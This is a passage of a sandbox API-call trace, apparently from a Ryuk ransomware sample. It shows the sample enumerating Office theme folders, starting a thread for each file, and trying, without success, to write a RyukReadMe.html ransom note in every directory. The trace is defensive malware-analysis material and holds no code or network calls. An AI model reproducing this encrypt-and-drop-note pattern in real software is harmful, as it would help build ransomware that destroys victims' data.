	[0163.368] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.369] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x8e, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1
	[0163.369] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704
	[0163.372] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.372] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x8e, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1
	[0163.372] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.373] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708
	[0163.375] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.375] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0163.376] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c
	[0163.377] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.378] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0163.378] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710
	[0163.380] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.381] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0163.381] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0163.381] SetLastError (dwErrCode=0x0) 
	[0163.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.382] GetLastError () returned 0x5
	[0163.382] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0163.382] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.382] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1
	[0163.382] SetLastError (dwErrCode=0x0) 
	[0163.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.382] GetLastError () returned 0x5
	[0163.382] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0163.382] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.383] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0163.688] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.688] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x8e, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1
	[0163.688] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714
	[0163.690] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.691] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x8e, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1
	[0163.691] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718
	[0163.694] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.695] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0163.695] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c
	[0163.697] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.698] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0163.698] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720
	[0163.700] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.700] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0163.701] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0163.701] SetLastError (dwErrCode=0x0) 
	[0163.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.701] GetLastError () returned 0x5
	[0163.701] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0163.701] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.702] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1
	[0163.702] SetLastError (dwErrCode=0x0) 
	[0163.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.702] GetLastError () returned 0x5
	[0163.702] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0163.702] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.702] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0163.703] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.703] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x8e, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1
	[0163.703] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724
	[0163.706] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.707] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x8e, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1
	[0163.707] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728
	[0163.709] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.710] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0163.710] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c
	[0163.712] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.713] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0163.713] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730
	[0163.716] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.716] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0163.716] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0163.717] SetLastError (dwErrCode=0x0) 
	[0163.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.717] GetLastError () returned 0x5
	[0163.717] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0163.717] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.717] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1
	[0163.717] SetLastError (dwErrCode=0x0) 
	[0163.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.718] GetLastError () returned 0x5
	[0163.718] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0163.718] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.718] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0163.720] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.720] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1
	[0163.720] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734
	[0163.988] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.989] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x8e, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1
	[0163.989] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0163.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738
	[0163.991] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
